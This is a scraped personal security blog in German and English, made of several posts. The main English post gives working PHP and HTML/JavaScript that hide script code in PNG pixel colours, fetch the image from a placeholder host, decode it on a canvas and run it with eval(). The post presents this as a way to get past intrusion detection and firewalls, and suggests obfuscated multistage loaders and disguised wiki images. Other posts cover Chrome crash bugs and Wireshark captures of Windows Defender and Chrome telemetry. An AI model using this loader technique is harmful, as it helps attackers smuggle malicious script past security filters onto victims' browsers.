Es kann ja mal passieren, dass ein Server überlastet ist und Fehlermeldungen auswirft.
Aber sooo detailiert muss es dann doch nicht sein.
Die nächste Steigerung ist dann die Anzeige vom Admincontext…
Es kann ja mal passieren, dass ein Server überlastet ist und Fehlermeldungen auswirft.
Aber sooo detailiert muss es dann doch nicht sein.
Die nächste Steigerung ist dann die Anzeige vom Admincontext…
Today, i have to write in english to get this to more readers.
At first… i don’t know if this is new, but if it is, then it will be interesting to see, for what it will be used…
Canvas is not very well known. First introduced by Apple and today implemented in browsers like Safari, Opera and Firefox.
For most people, it is only known for generating pictures and 3D Animations. But you can missuse it for bypassing ids, firewalls and so on…
I’m not good at explaining thing, but i will try it
For our example, we don’t obfuscate anything!
At first we have to know something about png files. Every pixel is build up from 4 Bytes.
Red, Green, Blue and the Alphachannel. To make it easier, we will only use Red, Green and Blue to store data in it.
The sideeffect of the not used Alphachannel is, that every forth byte, there is something useless in it and your code has some lowlevel obfuscating
At first, we need a code to generate the image which contains the malicious code.
Let’s call it badpicture.php
<?php // Figure it out by yourself$strExploit = 'alert("xss");//'; $lngX = 0; $lngY = 0; // Make it big enough for your code... $im = imagecreate(256, 5); // Now here starts the interesting part for ($lngPos = 0; $lngPos < strlen($strExploit); $lngPos+=3) { $strByte1 = substr ($strExploit, $lngPos, 1); $strByte2 = substr ($strExploit, $lngPos+1, 1); $strByte3 = substr ($strExploit, $lngPos+2, 1); $objColor = ImageColorAllocate ($im, ord($strByte1), ord($strByte2), ord($strByte3)); imagesetpixel($im, $lngX, $lngY, $objColor); $lngX++; if ($lngX >= 128) { $lngX = 0; $lngY++; } } // And now we send it to the browser header ("Content-type: image/png"); imagepng($im); // output the stream directly imagedestroy($im); ?>
Ok, Step one is done. What we now need, is a loader. For better reading, i have formated it and put the code in to a html document.
<html>
<body>
Nothing here to read...
<script>
var c=document.createElement("canvas");
g=c.getContext("2d");
i=new Image();
i.src="http://domain.tld/badpicture.php";
i.onload=function() {
g.drawImage(this,0,0);
o=g.getImageData(0,0,256,5).data;
eval("d=String.fromCharCode("+o+").replace(/ÿ/g,'')");
eval(d);
}
</script>
</body>
</html>
That’s all !
To extend this idea more, think about Steganography, Obfuscating the loader, Multistage Loaders, pre generated pictures with the correct file extension, PNG Compression…
Think about the attack vectors… generate a new entry in a wiki with legal content, with a normal picture (normal vor human eyes) and refer to this picture using tinyurl…
A short note has to be placed… Opera is using a Same URI Policy, so you have to do more, than only to generate a picture and place it somewhere. There are ways around it.
And remember… Canvas is part of the HTML 5 specification.
Something to think about:
So take a look at it, figure out how it works.
In two days, i will post an explanating of it and how this can be a problem for you.
Btw… It works only on firefox, opera and safari (as far as i know), and there are no alert and no xss Text inside
Wien… eine schöne Stadt und im Moment führe ich mir die Vorträge auf der diesjährigen DeepSec zugute.
Ich bin echt gespannt auf den Workshop The Exploit Laboratory von Saumil Udayan Shah. Die Kollege reden in den höchsten Tönen von ihm und ich bin echt neugierig darauf, was er so auf Lager hat.
Und heute sind die ersten zwei Tage auch schon vorbei und ich muß sagen… Wenn einer Ahnung hat, dann Saumil.
Ich kann im Moment die DeepSec jeden nur wärmstens ans Herzen legen, der sich für Sicherheit interessiert oder der das Thema zum Beruf hat.
Wenn man dann Abends noch die Chance hat, sich mal zu einigen dazu zu setzen und zuhört…
Um einen guten Kumpel von mir zu zitieren: “LALALALALA… Meine Welt ist schön… ich höre nichts… LALALALALALA”
So langsam fällt mir schon kein Kommentar mehr dazu ein…
Diesmal semmelt Google Chrome bei einem einfachen window.close() ab.
Quelle: milw0rm – Google Chrome Window Object Suppressing Remote Denial of Service
Ist laut der Beschreibung ein Designfehler.
Naja… wofür auch einen sicheren Browser erstellen… langt doch wenn man die Daten der User bekommt…
Btw…
ALL YOUR DATA BELONGS TO US
Und wieder ein Problem in Google Chrome.
Ein DOS per Carriage Return…
Guggst du hier
Und wer zu bequem ist…

Fazit… Finger weg von dem Browser!
Nach dem Update einer Installierten Software, kam plötzlich der Windows-Defender um die Ecke und warf mir dieses Popup an den Kopf.
Bevor ich hier auf “Informationen senden” geklickt habe, warf ich schnell noch Wireshark im Hintergrund an.
Eines Vorweg… Microsoft hat nichts mitgeschickt, was die Maschine direkt identifizieren kann. Jedenfalls nichts, was man direkt sehen kann.
Das Problem an der Analyse ist, dass die als Antwort gesendeten Daten per SSL und verschlüsselt zurück kommen. Da kann ich halt nichts großartig rausfiltern.
Hier kurz mal der GET-Request, der rausgeht:
/StageOne/Generic/AVSubmit/WinDefend/1_1_3903_0/unspecified/1_43_537_0/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.htm?LCID=1031&OS=6.0.6001.2.00010300.1.0.3.18000&VID=Micro-Star%20Int’l%20Co.,Ltd.
Die hier enthaltenen Daten sind das Gebietsschema Deutsch (LCID), der Mainboardhersteller Microstar/MSI (VID) und verwendete OS (Vista) mit einem sehr detailierten Versionsstring.
Der xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx Abschnitt in der URL war vorher eine GUID, welche ich bewußt entfernt habe.
Die Antwort kam nach dem GET-Request zuerst als Cleartext und danach folgten dann per SSL Übertragene Datenpakete.
HTTP/1.1
User-Agent: MSDW
Host: watson.microsoft.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Length: 45
Content-Type: text/html
Last-Modified: Sun, 21 Sep 2008 22:12:35 GMT
Accept-Ranges: bytes
ETag: "bfa9db26371cc91:13b9"
X-Powered-By: ASP.NET
Date: Mon, 22 Sep 2008 21:49:07 GMT
Bucket=336285644
BucketTable=5
Response=1
Bevor sich jemand wundert, wofür ETag steht… Guggst du hier.
Die per SSL übertragenen Datenpakete kamen übrigens von hier:
spynet2.microsoft.com
Bei meiner Analyse von Google Chrome ist mir aufgefallen, dass er bei der Eingabe einer URL, laufend Daten nach Hause schickt und auf jede dieser Anfragen auch eine Antwort bekommt.
Als neugieriger Mensch, habe ich mir das Log von Wireshark angesehen und Gerätselt, was da so alles als Antwort zurück kommt.
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Expires: Wed, 17 Sep 2008 13:17:51 GMT
Content-Encoding: gzip
Date: Wed, 17 Sep 2008 12:17:51 GMT
Server: Auto-Completion Server
Cache-Control: private, x-gzip-ok=""
Content-Length: 179
Connection: keep-alive
Die Folgedaten waren logischerweise dann gepackt.
Da ich die GET-Url hatte, packte ich noch was davor und schickte es mal manuell ab:
Und das kam als Antwort:
Um das Ganze zu verifizieren, habe ich noch einen gefundenen C# Code ein wenig angepaßt und bekam bei der Ausführung das gleiche Ergebnis.
Das Ganze mal ein wenig aufbereitet zur besseren Ansicht:
[
"www.heise.de"
[
"http://www.heise.de/tp/r4/artikel/5/5263/1.html" "www.heise.de ct"
]
[
"How NSA access was built into Windows" "162.000 Ergebnisse"
]
[ ]
{"google:suggesttype":["NAVIGATION" "QUERY"]}
]
Sieht schon fast wie eine XML Struktur aus
Die letzte Zeile mit {“google:suggesttype”:["NAVIGATION" "QUERY"]} hat mein Interesse geweckt. Ich werde da mal nachschauen, was noch so alles möglich ist.
Microsoft geht einen weiteren Schritt in Richtung sicherer Software, wie man hier und insbesondere hier lesen kann.
Grundlage des Ganzen ist ein von Microsoft erstelltes Secure Development Lifecycle (SDL) Optimization Model, nicht zu verwechseln mit Simple DirectMedia Layer (SDL), welches meiner Meinung nach als Ergänzung zu den Best Practices zu sehen ist.
Natürlich wird es auch wieder die Möglichkeit geben, über ein Zertifizierungsprogramm eines dieser netten Dokumente zu erhalten, welche einige zum Zimmertapezieren verwenden.
Nicht das so ein Zertifikat vom Können des Besitzers zeugen würde… auswendig lernen kann jeder
Verfügbar wird das Ganze ab November sein. Ich bin echt mal gespannt, was Microsoft sich da so alles ausgedacht hat. Fakt ist, dass sie das Problem von Sicherheitsrisiken durch Fremdsoftware angehen wollen.
Lobenswert! Da können sich die OpenSource Frickler mal eine dicke Scheibe von Abschneiden.
Update
Eines der schon verfügbaren Tools kann man sich hier im Einsatz ansehen, oder hier herunter laden.
Was man alles so sieht, wenn man mit offenen Augen durch die Stadt läuft…


Btw… der Automat hatte in den letzten Tagen schon häufiger Probleme gehabt. Wäre mir auch nie aufgefallen, wenn ich nicht hätte Geld holen wollen und er auf dem Weg liegt.